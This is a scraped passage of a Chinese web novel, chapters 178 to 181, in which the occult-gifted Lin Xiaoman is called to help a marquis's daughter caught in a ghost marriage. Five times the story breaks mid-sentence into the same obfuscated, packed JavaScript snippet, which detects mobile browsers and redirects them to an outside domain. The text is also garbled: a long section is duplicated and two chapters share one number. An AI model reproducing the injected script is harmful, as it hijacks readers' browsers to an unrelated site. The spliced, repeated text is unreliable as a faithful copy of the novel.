"你……你怎么一直没跟我说?我竟然都不知道!都怪我太粗心了,你受了这么重的伤我都没发现……" 她小心翼翼地托着林小满的手臂,左看右看,确认伤口已经结痂,又悬空将手覆在伤处上方,凝神感知了片刻,确定没有残留的邪气和其他内伤,这才稍稍松了口气,将她的手轻轻放下。 "你还好意思说?"林小满故意板起脸,"那天晚上你就在屋顶上守着,我受伤了你都没察觉,还好意思说是我最好的好友?哼!你看我到时候告诉小黑他们去。" 小花一听这话,立刻慌了神,连连摆手求饶:"别别别!小满你可千万别告诉他们!" 她紧张地后退了两步,"他们费了好大力气才把我送到这儿来陪着你,要是被他们知道我没保护好你,他们肯定会生气的,说不定一气之下就把我带回去了!我才不想回去呢!" 看着小花急得跳脚的模样,林小满终于憋不住,"噗嗤"一声笑了出来:"逗你玩的啦!本来就没什么大事,看你吓的。" 她轻轻放下衣袖,拍了拍小花的肩膀:"这点小伤对我来说不算什么,调养几日就好了。" 小花见林小满确实无碍,这才放下心来。 她撅起嘴巴,疑惑地看向林小满:"所以你把刘通救活,根本不是因为大发慈悲?你是想从他身上套出关于那个"尊主"的消息?" 林小满摊了摊手,语气理所当然:"那当然喽。我又不是圣母,对一个想要我命的人慈悲,那是对自己的残忍。" 小花歪着头,又想到一个问题:"可是你怎么确定刘通一定会给你提供线索?他坏事做尽,如今又落到这个地步,难道不会......干脆自我了断吗?" 林小满闻言轻笑一声,"他不会的。" 她耐心解释道:"像刘通这样的人,最是惜命。他费尽心思修炼邪术,攀附权贵,为的就是活得更好、更久。如今他虽然成了废人,但只要还有一口气在,就绝不会轻易放弃求生。" "更何况,"林小满顿了顿,"他对我恨之入骨。只要这份恨意还在,他就一定会想方设法活下去,哪怕只是为了有朝一日能亲眼看到我遭殃。**?那太便宜我了,他可舍不得。 我现在让他变成了一个废人,但只要他还活着,就一定会想尽办法联系外面的人。只要他一有动作,我布下的禁制就会立刻察觉。等到那个时候,我就不信抓不到一点线索。" 小花听得眼睛发亮,忍不住拍手赞叹:"小满,你可真是个能人!这招"放长线钓大鱼"用得妙啊!既让他活着受罪,又能顺藤摸瓜找到幕后黑手,简直是一箭双雕!" 她凑近林小满,压低声音笑道:"不过你也真够狠的,这刘通落到你手里,可真是求生不得求死不能了。" …… 夜色渐深,远处传来更夫悠长的报时声。 一间布置得喜庆的房间里,四处挂满了刺目的红绸,俨然是新婚之夜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539793|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布置。 一个身着红色喜服的新娘子端坐在梳妆镜前,她面容姣好,眼神却空洞无神,就像是一具精致的木偶。 她机械地拿起妆台上的胭脂纸,面无表情地轻轻抿了抿,唇上便染了一层不自然的嫣红。 随后,她拿起一旁的红盖头,缓缓罩在了自己头上,遮住了那张毫无生气的脸。 片刻后,原本紧闭的窗户悄无声息地被一阵阴风吹开,烛火摇曳。 新娘子的身后,不知何时多了一个身影。 那是一个同样穿着大红喜服的新郎,只是他的面容带着几分说不出的怪异,肤色青白,五官虽端正,却总透着一股僵硬的死气。 他轻轻俯身,凑到新娘耳边,声音低哑带着一丝缱绻,"娘子,我来接你了。" 新娘子顺从地抬起手,放在他伸出的、同样冰冷的手掌上。 两人一言不发,手挽着手,如同被无形的线牵引着,缓缓打开房门,走进了浓重的夜色里。 他们来到一处偏僻的、略显破败的茅草屋前。 屋外荒草丛生,屋内却同样被布置成了新房的模样,红烛高燃,囍字张贴, 只是这一切在昏黄摇曳的烛光下,显得格外阴森。 两人走到那张铺着大红被褥的旧床前,新郎抬手,放下了厚重的床幔。 红色的纱帐缓缓垂落,隔绝了内外,只隐约透出里面两道模糊的、静止不动的身影。 "啊啊啊——!" 一声短促的惊叫划破寂静,一个年轻女子猛地从床榻上坐起,胸口剧烈起伏,额头上布满了细密的冷汗。 她大口喘着气,眼神中还残留着梦魇带来的惊恐。 "最近怎么回事……"她抬手抚着心口,低声喃喃自语, "怎么总是做这种诡异的梦……"她甩了甩头,想要驱散脑海中那阴森的画面, "难道真是因为年纪渐长,还是爹娘近来催婚催得紧,心中生了魔障?" 第一百七十八章 新娘 她正兀自困惑,眼角的余光却瞥见窗户那边似乎极快地闪过一道影子! 若是寻常闺阁女子,此刻怕是早已吓得缩回被中瑟瑟发抖了。 但她性子向来比一般女子大胆许多,虽心中也是一凛,却并未惊慌失措。 她定了定神,掀开锦被,赤着脚轻轻走下床榻,悄无声息地走向那扇窗户。 窗外月色朦胧,树影婆娑,方才那一闪而过的影子,此刻已不见踪迹,她不得不怀疑这是她惊梦初醒时的错觉。 第二日天光大亮,丫鬟在门外叫了好几声"小姐"都无人应答。 她心中担忧,轻轻推开房门,却见自家小姐竟靠着窗边睡着了,身上只穿着单薄的寝衣。 丫鬟吓了一跳,连忙快步上前,伸手探了探小姐的额头,触手温凉,并未发热,这才松了口气。 她轻轻摇晃着小姐的肩膀,低声唤道:"小姐,小姐?快醒醒,您怎么睡在这儿了?仔细着了凉!" 女子睡眼惺忪地揉了揉眼睛,迷茫地看向丫鬟,声音还带着刚醒时的沙哑:"现在什么时辰了?" "已经辰时了!"丫鬟一边回答,一边赶紧将她扶起来, "小姐您怎么睡在这里了?这要是让夫人知道了,非得剥了我的皮不可!" 说完,她像是突然想到什么,惊讶地捂住嘴巴,压低声音问道:"小姐,您……您昨晚该不会又偷偷跑出去了吧?" 女子揉了揉有些发痛的额角,蹙眉道:"没有。只是昨晚做了个怪梦,后来好像看到窗外有人影闪过,就起来查看,不知怎么的竟靠着窗睡着了。" 丫鬟闻言,"噗嗤"一声笑了出来: "小姐您开什么玩笑呢?谁不知道咱们侯府守卫森严,连只陌生的鸟儿都难飞进来,怎么可能有贼人能跑得进来?定是您最近太累,眼花了。" 她一边说着,一边利落地开始收拾床铺,"小姐您快些起身洗漱吧,今日不是约好了要和世子爷一起去城外放风筝吗?世子爷难得有空陪您呢。" 女子一听,猛地清醒过来,一拍额头:"啊呀!对对对!瞧我这记性!好不容易说动兄长陪我出去,可不能错过了!" 她立刻站起身,也顾不上方才的困惑,急匆匆地便往梳妆台走去,"快,帮我梳妆,要简单利落些的!" 丫鬟见她恢复了精神,笑着应了声"是"。 丫鬟手脚麻利地甩了甩床上的被子,又将枕头摆放整齐。 就在她拿起枕头准备拍松时,目光不经意间扫过枕头下方,突然发出一声短促的尖叫,猛地向后踉跄了好几步,脸色瞬间变得煞白。 女子闻声立刻从梳妆台前飞奔过来,一把扶住惊魂未定的丫鬟,急切地问道:"怎么了?出什么事了?" 丫鬟颤抖着手指向那个枕头,声音带着哭腔:"小、小姐……那、那下面……" 女子顺着她指的方向看去,只见枕头下方的床单上,赫然散落着几片鲜红的花瓣,不是寻常的牡丹或玫瑰。 而是彼岸花那细长卷曲、色泽妖异的花瓣,红得如同浸染了鲜血,在素色的床单上显得格外刺目。 这花虽不似血迹或凶器那般骇人,但出现在闺房枕下,总归是透着说不出的诡异。 女子眉头紧锁,盯着那几片刺目的红色花瓣,努力在记忆中搜寻。 她清楚地记得,自己昨晚入睡前,枕头下绝对是干干净净的,绝没有放过任何东西。 难道……真是自己睡迷糊了,在梦游或者半梦半醒间做了什么而不自知? 她深吸一口气,强压下心头的悸动,对仍在发抖的丫鬟勉强扯出一个笑容,试图安抚道: "别怕,许是……许是我昨日在外面不小心沾上了,或是哪个促狭的丫头恶作剧,随手塞进来的,没什么大不了的。" 她嘴上这么说着,心里却清楚,侯府规矩森严,下人绝不敢随意将这种不祥之花带入小姐闺房,更别提塞到枕头底下。 而她自己,也绝不会去采摘这种被视为"死亡之花"的彼岸花。 但她向来性子大大咧咧,对这些所谓的忌讳并不十分在意。 她定了定神,神色严肃地看向丫鬟,叮嘱道:"听着,这件事不要告诉任何人,包括爹娘和兄长。" 丫鬟却依旧一脸忧惧,声音带着不安: "可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539794|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小姐……这可是彼岸花啊!多不吉利!谁会这么无聊,把这种花偷偷放到您枕头底下?奴婢……奴婢担心是不是有人想对您不利,或是用了什么邪术……要不,今日咱们别去放风筝了,先把这事查清楚再说?万一……" "不行,"女子打断她,语气坚决, "这样,你留下来,悄悄查问昨日都有谁进过我的房间,或者留意府里有没有什么异常。今日放风筝,就我和兄长两人去,你就不用跟着了。" 她见丫鬟还想再劝,又压低声音道: "你记住,在查到任何确凿线索之前,绝不能让爹娘和兄长知道。以他们的性子,若是知晓了,定会大惊小怪,不仅今天不让我出门,日后恐怕连院子都不让我随意出了。 他们本就整**着我考虑婚嫁之事,这难得的、能暂时抛开烦扰、自在玩耍的时光,我可不能就这么被毁了。" 她拍了拍丫鬟的手背,带着几分安抚, "你就按我说的做,仔细查探,有任何发现,等我回来立刻告诉我。" 丫鬟见小姐态度坚决,知道再劝也无用,只得忧心忡忡地应了下来:"是,小姐,奴婢知道了。" 那小姐见她答应,立刻又恢复了笑嘻嘻的模样,转身跑回梳妆台前坐下,对着铜镜催促道: "那还不赶紧过来给我梳妆?要是等会儿让兄长等久了,他凶我骂我,那可都怪你手脚太慢哦!" 丫鬟无奈,只得快步走过去。 经过床边时,她的目光又不自觉地瞥向那几片妖异的红色花瓣,心中那股不安如同阴云般挥之不去。 她张了张嘴,还想再提醒几句…… "好了,"小姐透过铜镜看到了她欲言又止的模样,立刻板起脸,语气带着不容置疑的坚决, "这件事就交给你去查了。记住,在我回来之前,不要声张。等我放风筝回来,可是要听你汇报结果的。" 她的话干脆利落,直接将丫鬟还未出口的担忧堵了回去。 丫鬟只得咽下嘴边的话,低声应道:"是,小姐。"然后拿起梳子,开始专心为小姐梳妆,只是眉宇间那抹忧虑,始终未能散去。 第一百七十九章 彼岸花 丫鬟手脚麻利地为小姐梳好发髻,将最后一支玉簪稳稳插入发间。 她转身走向衣柜,取出一套鹅黄色的轻便襦裙,提着裙摆在小姐面前展开,笑着问道: "小姐,您看今日穿这套可好?这颜色鲜亮,料子也轻软,最适合跑动放风筝了。" 她等了一会儿,却不见小姐回应。丫鬟有些疑惑,又唤了一声:"小姐?" 梳妆台前依旧寂静无声。 丫鬟心中莫名一紧,连忙走上前,轻轻拍了拍小姐的肩膀:"小姐,您怎么了?" 这一拍之下,小姐的身子竟软软地向一旁歪倒! 丫鬟大惊失色,慌忙扶住,只见小姐双目紧闭,脸色苍白如纸,已然失去了意识。 "小姐!小姐!"丫鬟吓得魂飞魄散,连声呼唤,却见小姐没有丝毫反应。 她再也顾不得其他,将小姐小心扶靠在椅背上,转身就朝门外飞奔,声音带着哭腔尖叫道: "快来人啊!快来人!小姐晕倒了!救命啊!" 就在丫鬟冲出房门的瞬间,无人察觉的是,昏迷不醒的小姐那垂落的手腕内侧,一道细如发丝的红色痕迹若隐若现地闪烁了一下,如同活物般微微扭动,随即又迅速隐没在苍白的皮肤之下,消失无踪。 …… "小姐!小姐!"春桃笑着,脚步轻快地跑到正在窗边翻阅书卷的林知鸢身旁。 林知鸢闻声抬起头,见春桃跑得脸颊泛红,不由微微一笑,放下手中的书卷,柔声问道: "什么事让你跑得这样急?慢慢说。" 春桃喘了口气,眼睛亮晶晶的,带着几分俏皮:"小姐,您猜猜,外头谁来了?" 林知鸢见她卖关子,轻轻摇头,语气带着几分纵容的无奈:"你这丫头,又打什么哑谜?直接说吧。" 春桃凑近了些,压低声音,却掩不住其中的雀跃:"是屿安世子来了!此刻正在前厅与夫人说话呢!" 林知鸢闻言,执书的手微微一顿,白皙的脸颊上悄然浮起一抹极淡的红晕。 她垂下眼帘,长长的睫毛轻轻颤动了一下,似是想掩饰瞬间波动的心绪,只轻声应了一句:"哦?是么。" 语气听起来平静,但那不自觉抿起的唇角,和重新执起书卷时略显慌乱的动作,却泄露了她心底并非毫无波澜。 春桃见她这般模样,忍不住抿嘴偷笑,打趣道:"小姐,您脸红了。" 林知鸢被她点破,脸颊更烫,嗔怪地瞪了她一眼,却没什么威慑力。 她稳了稳心神,故作镇定地问道:"世子……世子此刻前来,所为何事?" 春桃摇摇头:"奴婢不清楚,只是瞧世子爷面色有些凝重,像是有什么要紧事。" "要紧事?"林知鸢微微蹙眉,"若有要紧事,他应当去寻父亲商议才是,怎会来见母亲?" 春桃眼睛突然一亮,像是想到了什么,惊讶地捂住嘴,随即又忍不住笑起来,压低声音道: "小姐!屿安世子他……他该不会是来寻夫人商议……商议提亲之事的吧?" "休得胡言!"林知鸢心头一跳,急忙打断她,声音都带上了几分不易察觉的慌乱, "我与世子……从未有过什么逾越之举。世子那般清风朗月的人物,身份尊贵,前途无量……若是从前,或许……或许我还能……可如今……" "哎呀小姐!您想这些做什么?"春桃见她神色黯然,连忙劝慰道, "只要您与世子爷两情相悦,身份门第又算得了什么?不管怎么说,您如今也是林府的嫡出大小姐,丞相大人的掌上明珠,哪里就配不上了?" 林知鸢却只是轻轻摇头,语气恢复了平日的温婉,却带着一丝不易察觉的疏离: "莫要再瞎猜了。世子爷过来,定然是有正事寻母亲商议,与我们无关。"她重新拿起书卷,目光落在书页上,却似乎一个字也未能看进去,只是借此掩饰内心的波澜。 "大小姐可在?"门外忽然传来一个略显浑厚的声音。 春桃疑惑地看向林知鸢:"小姐,好像是夫人身边的方嬷嬷。" 林知鸢轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539795|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻"嗯"了一声,起身走向门口,果然见到沈清秋身边得力的方嬷嬷正站在门外。 "嬷嬷。"她温声唤道。 方嬷嬷微微屈膝行了个礼,脸上带着和煦的笑容:"小姐,夫人请您去前厅一趟。" 林知鸢与春桃对视一眼,心头莫名一跳,她重新看向方嬷嬷,试探着问道:"嬷嬷,可是有什么要紧事?" 嬷嬷依旧笑容可掬,却滴水不漏:"小姐您过去便知晓了。" "好,"林知鸢压下心头的疑虑,"那我们这就过去吧。"她说着,便抬步向前厅方向走去。 春桃故意落后半步,与方嬷嬷并肩,悄悄压低声音问道: "方嬷嬷,我方才瞧着,咱们府里是不是来客人了?" 走在前面的林知鸢不自觉地放慢了脚步,竖起了耳朵。 方嬷嬷看了眼前面小姐看似从容实则略显僵硬的背影,眼中闪过一丝笑意,低声回道:"屿安世子也在。" 虽然早有猜测,但从方嬷嬷口中得到确认,林知鸢的耳尖还是控制不住地再次泛红。 春桃眼中则浮起浓浓的期待和欣喜。 自家小姐对屿安世子是什么心思,她这个贴身丫鬟再清楚不过了。 虽然两人之间从未明说,但平日瞧着,屿安世子待自家小姐也确实与旁人不同。 难道世子今日真是来…… 春桃越想越觉得可能,忍不住又想开口向方嬷嬷打探更多细节,刚张开嘴:"那世子爷他……" "春桃!"走在前面的林知鸢却突然停下脚步,回过头来,语气带着一丝罕见的严厉,打断了春桃未尽的问话, "莫要再多嘴,仔细脚下台阶。" 她看似在提醒春桃注意路况,但那微蹙的眉头和略显急促的语气,分明是在阻止春桃继续追问下去。 林知鸢走到前厅时,只见母亲沈清秋端坐主位,下首的紫檀木椅上端坐着一位身着月白锦袍的年轻男子,身姿挺拔如松,眉目清朗,气质温润中带着几分不易接近的疏离,正是屿安世子。 第180章 救我舍妹一命 两人脸上都笼罩着一层阴云,神色凝重,看不出半分轻松或喜悦,气氛显得颇为压抑。 林知鸢心中微沉,缓步走进厅内,依礼福身:"世子,娘亲。" 屿安世子见她进来,立刻站起身,郑重地回了一个男子的揖礼:"林小姐。" 沈清秋示意林知鸢在自己身旁坐下,随后看向屿安世子,语气带着关切与严肃: "世子,如今知鸢我也叫过来了。侯府究竟发生了何事,现在总可以说了吧?" 林知鸢闻言,心头一紧,看向屿安世子,眼中带着询问:"侯府出事了?怎么回事?" 沈清秋站起身,轻轻叹了口气,对林知鸢解释道: "屿安世子来了已有一会儿,却一直未曾明言究竟发生了何事,只道府中出了些变故,需得当面与你说。" 她顿了顿,目光在屿安世子那紧锁的眉头和林知鸢担忧的脸上扫过, "既然世子觉得此事需得知鸢知晓,那你们便好好谈谈。我还有些庶务需处理,暂且失陪。" 说罢,她意味深长地看了两人一眼,便带着方嬷嬷先行离开了前厅,将空间留给了他们。 林知鸢满脸忧色地看向屿安世子:"世子爷,府中究竟发生了何事?是否……是否需要等父亲回来之后……" "不用!此事丞相大人与夫人恐怕……无能为力。"屿安世子罕见地打断了她的话,语气急促中带着几分无奈。 林知鸢眉头紧锁,心中的疑虑更深了。 她不会傻到以为在如今这般凝重的气氛下,世子还是为了私情而来。 恐怕侯府真出了什么大事。 只是,究竟什么样的事情,会让他跳过父亲和母亲,直接来找自己这个未出阁的女子? 林知鸢虽在京城贵女中负有才名,琴棋书画、诗书礼仪也算精通,但这些在京城众多贵女身上,谁又不会几分? 她实在想不出自己有何特别之处能帮上侯府。 屿安世子见她神色变幻,脸上露出难色,薄唇紧抿,似乎有些难以启齿。 林知鸢见状,压下心中纷乱的思绪,温声宽慰道:"无妨,世子爷有何事,但说无妨。" 屿安世子深吸一口气,像是下定了某种决心,忽然起身,对着林知鸢郑重地抱拳一礼,声音沉痛而恳切: "屿安今日冒昧前来,实属无奈。还请林小姐……救家妹晴儿一命!" "晴儿?"林知鸢闻言一惊,立刻追问道,"晴儿妹妹她怎么了?" 侯府的幺女慕容晴,年方十五,活泼可爱,是个天真烂漫的小姑娘。 屿安世子面色愈发沉重,声音压得极低:"晴儿她……恐怕是中邪了。" 他深吸一口气,继续道:"前几日她莫名晕倒,请了大夫来看,却诊不出任何病症。在母亲再三追问下,她才吐露,近来时常梦见与同一人……成婚的场景。" "起初我们并未当真,"屿安世子眉头紧锁,"这些日子母亲一直在为她相看人家,晴儿多次表示自己年纪尚小,暂不愿议亲。我们只当她是心中抗拒,才会做这般梦。" "可今日下朝后,"他语气愈发凝重,"我与秦小将军因有要事商议,便邀他同回侯府。送他出府时,恰闻丫鬟说起晴儿又做了那梦,且做梦的时辰越来越长,梦中的场景与人却始终如一。" "我心中烦闷,便将这苦恼告知了小将军。没想到他听后竟一口咬定晴儿这是中了邪,并坚持要我……定要来林府寻二小姐相助。" 听完屿安世子这番话,林知鸢终于明白他方才为何那般面露难色、难以启齿,也更清楚他为何非要见自己,而不是直接与母亲商议。 京城闺阁女子懂玄学之术、通晓抓鬼驱邪,这是何等惊世骇俗之事。 想必屿安世子以为母亲并不知晓小满身怀异术,而当初秦小将军中邪时自己也在场,知晓内情,故而他才认定唯有寻自己说明原委,方能请动小满出手相助。 屿安世子心中确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539796|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此思量。 林府二小姐乃是流落在外多年、前些日子才认回的真千金,此事在京城并非秘密。即便她曾在乡野生活十余载,如今终究是丞相府的千金。 若她身怀玄学异术之事传扬出去,恐怕丞相的颜面都要被世人的唾沫星子淹没。 因此他断定,知晓林小满身怀异术之人必定寥寥无几。 如今他确实是死马当活马医——虽并不全然相信秦小将军所言,更对鬼神之说心存疑虑,但眼下实在别无他法。况且秦小将军向来沉稳持重,应当不至于以此等大事玩笑。 无论是要卖秦小将军一个面子,还是为妹妹搏一线生机,他都必须走这一趟。 想到这里,屿安世子再无犹豫,竟直接屈膝跪地,双手抱拳,言辞恳切: "屿安恳请林小姐相助,救舍妹一命!此恩侯府上下必当铭记,日后林小姐若有差遣,屿安定义不容辞!" 林知鸢被他这突如其来的大礼惊得霍然起身,连忙侧身避开,急声道: "世子快快请起!这如何使得!"她示意一旁的春桃赶紧上前搀扶,自己则稳了稳心神,正色道: "世子爱妹心切,知鸢感同身受。此事……我需得先与舍妹商议。还请世子稍坐片刻,我这就去寻小满过来。" 林知鸢连忙吩咐春桃:"快去请二小姐过来,就说有要事相商。" 春桃福身应下,快步退出了前厅,朝着林小满的院子小跑而去。 厅内一时只剩下两人。 屿安世子缓缓起身,神色复杂地看向林知鸢,深深一揖:"多谢林小姐愿意相助。今日冒昧打扰,我 实属无奈。" 林知鸢看着他略显苍白的脸色和紧蹙的眉头,心中泛起一丝酸涩。 这个她默默倾慕多年的男子,此刻为了妹妹的安危放下身段,那向来清冷自持的眉眼间染上了真切的忧惧。 她轻声道:"世子不必多礼,晴儿妹妹的事……我们定当尽力。" 第一百八十一章 中邪了 两人脸上都笼罩着一层阴云,神色凝重,看不出半分轻松或喜悦,气氛显得颇为压抑。 林知鸢心中微沉,缓步走进厅内,依礼福身:"世子,娘亲。" 屿安世子见她进来,立刻站起身,郑重地回了一个男子的揖礼:"林小姐。" 沈清秋示意林知鸢在自己身旁坐下,随后看向屿安世子,语气带着关切与严肃: "世子,如今知鸢我也叫过来了。侯府究竟发生了何事,现在总可以说了吧?" 林知鸢闻言,心头一紧,看向屿安世子,眼中带着询问:"侯府出事了?怎么回事?" 沈清秋站起身,轻轻叹了口气,对林知鸢解释道: "屿安世子来了已有一会儿,却一直未曾明言究竟发生了何事,只道府中出了些变故,需得当面与你说。" 她顿了顿,目光在屿安世子那紧锁的眉头和林知鸢担忧的脸上扫过, "既然世子觉得此事需得知鸢知晓,那你们便好好谈谈。我还有些庶务需处理,暂且失陪。" 说罢,她意味深长地看了两人一眼,便带着方嬷嬷先行离开了前厅,将空间留给了他们。 林知鸢满脸忧色地看向屿安世子:"世子爷,府中究竟发生了何事?是否……是否需要等父亲回来之后……" "不用!此事丞相大人与夫人恐怕……无能为力。"屿安世子罕见地打断了她的话,语气急促中带着几分无奈。 林知鸢眉头紧锁,心中的疑虑更深了。 她不会傻到以为在如今这般凝重的气氛下,世子还是为了私情而来。 恐怕侯府真出了什么大事。 只是,究竟什么样的事情,会让他跳过父亲和母亲,直接来找自己这个未出阁的女子? 林知鸢虽在京城贵女中负有才名,琴棋书画、诗书礼仪也算精通,但这些在京城众多贵女身上,谁又不会几分? 她实在想不出自己有何特别之处能帮上侯府。 屿安世子见她神色变幻,脸上露出难色,薄唇紧抿,似乎有些难以启齿。 林知鸢见状,压下心中纷乱的思绪,温声宽慰道:"无妨,世子爷有何事,但说无妨。" 屿安世子深吸一口气,像是下定了某种决心,忽然起身,对着林知鸢郑重地抱拳一礼,声音沉痛而恳切: "屿安今日冒昧前来,实属无奈。还请林小姐……救家妹晴儿一命!" "晴儿?"林知鸢闻言一惊,立刻追问道,"晴儿妹妹她怎么了?" 侯府的幺女慕容晴,年方十五,活泼可爱,是个天真烂漫的小姑娘。 屿安世子面色愈发沉重,声音压得极低:"晴儿她……恐怕是中邪了。" 他深吸一口气,继续道:"前几日她莫名晕倒,请了大夫来看,却诊不出任何病症。在母亲再三追问下,她才吐露,近来时常梦见与同一人……成婚的场景。" "起初我们并未当真,"屿安世子眉头紧锁,"这些日子母亲一直在为她相看人家,晴儿多次表示自己年纪尚小,暂不愿议亲。我们只当她是心中抗拒,才会做这般梦。" "可今日下朝后,"他语气愈发凝重,"我与秦小将军因有要事商议,便邀他同回侯府。送他出府时,恰闻丫鬟说起晴儿又做了那梦,且做梦的时辰越来越长,梦中的场景与人却始终如一。" "我心中烦闷,便将这苦恼告知了小将军。没想到他听后竟一口咬定晴儿这是中了邪,并坚持要我……定要来林府寻二小姐相助。" 听完屿安世子这番话,林知鸢终于明白他方才为何那般面露难色、难以启齿,也更清楚他为何非要见自己,而不是直接与母亲商议。 京城闺阁女子懂玄学之术、通晓抓鬼驱邪,这是何等惊世骇俗之事。 想必屿安世子以为母亲并不知晓小满身怀异术,而当初秦小将军中邪时自己也在场,知晓内情,故而他才认定唯有寻自己说明原委,方能请动小满出手相助。 屿安世子心中确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539797|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此思量。 林府二小姐乃是流落在外多年、前些日子才认回的真千金,此事在京城并非秘密。即便她曾在乡野生活十余载,如今终究是丞相府的千金。 若她身怀玄学异术之事传扬出去,恐怕丞相的颜面都要被世人的唾沫星子淹没。 因此他断定,知晓林小满身怀异术之人必定寥寥无几。 如今他确实是死马当活马医——虽并不全然相信秦小将军所言,更对鬼神之说心存疑虑,但眼下实在别无他法。况且秦小将军向来沉稳持重,应当不至于以此等大事玩笑。 无论是要卖秦小将军一个面子,还是为妹妹搏一线生机,他都必须走这一趟。 想到这里,屿安世子再无犹豫,竟直接屈膝跪地,双手抱拳,言辞恳切: "屿安恳请林小姐相助,救舍妹一命!此恩侯府上下必当铭记,日后林小姐若有差遣,屿安定义不容辞!" 林知鸢被他这突如其来的大礼惊得霍然起身,连忙侧身避开,急声道: "世子快快请起!这如何使得!"她示意一旁的春桃赶紧上前搀扶,自己则稳了稳心神,正色道: "世子爱妹心切,知鸢感同身受。此事……我需得先与舍妹商议。还请世子稍坐片刻,我这就去寻小满过来。" 林知鸢连忙吩咐春桃:"快去请二小姐过来,就说有要事相商。" 春桃福身应下,快步退出了前厅,朝着林小满的院子小跑而去。 厅内一时只剩下两人。 屿安世子缓缓起身,神色复杂地看向林知鸢,深深一揖:"多谢林小姐愿意相助。今日冒昧打扰,我 实属无奈。" 林知鸢看着他略显苍白的脸色和紧蹙的眉头,心中泛起一丝酸涩。 这个她默默倾慕多年的男子,此刻为了妹妹的安危放下身段,那向来清冷自持的眉眼间染上了真切的忧惧。 她轻声道:"世子不必多礼,晴儿妹妹的事……我们定当尽力。" 第一百八十一章 冥婚 宁国侯府后院,慕容晴的闺房内,气氛凝重。 林小满端坐在慕容晴对面,神色平静。 宁国侯夫人紧挨着女儿坐着,脸上是难以掩饰的忧虑和一丝不易察觉的怀疑。 屿安世子则担忧地站在母亲身后,目光紧锁在妹妹苍白的小脸上。 林知鸳和小花安静地侍立在林小满身后,如同两尊守护神。 慕容晴绞着手中的帕子,脸颊泛着不自然的红晕,眼神躲闪,欲言又止: “二小姐,我……我其实……” 她实在不知该如何开口,万一自己的遭遇并非什么诡异事件,只是寻常的噩梦或者胡思乱想,那兄长兴师动众将林府二小姐请来,她岂不是要羞愤得找个地缝钻进去? 偏偏林小满在她身上淡淡一扫,便直接开口,语气肯定而非疑问:“你结了冥婚。” 不是疑问,而是陈述。 慕容晴瞬间双眼瞪得溜圆,像是被说中了最隐秘的心事,连连点头,随即又像是想起什么可怕的事情,猛地摇头,带着哭腔道: “对……好像又不对!我……我不知道那算不算……” 宁国侯夫人见状,心头一紧,虽然内心深处对林小满这般年轻的姑娘家是否能解决如此诡谲之事仍存疑虑,但女儿的反应无疑佐证了事情的非常态。 她再也顾不得许多,急忙看向林小满,语气带着恳求与急切: “林小姐,听秦小将军所言,您在这方面颇有能为,十分了得。还请您一定要救救我家晴儿!她还这么小,若是……若是真被什么脏东西缠上,可如何是好!” 她说着,声音都有些哽咽,“只要能救晴儿,无论您需要什么,我宁国侯府定倾力相助,必有重谢!” 屿安世子也在一旁郑重拱手:“林小姐,拜托了!” 林小满的目光依旧停留在慕容晴身上,对她和侯夫人的话并未直接回应,只是微微颔首,示意自己知道了。 她的注意力完全集中在慕容晴周身那若有若无、与生人气息迥异的阴冷纠缠之上。 “细细说与我听,梦中的‘他’,是何模样?在何处‘成婚’?除了梦境,可还有其他异状?” 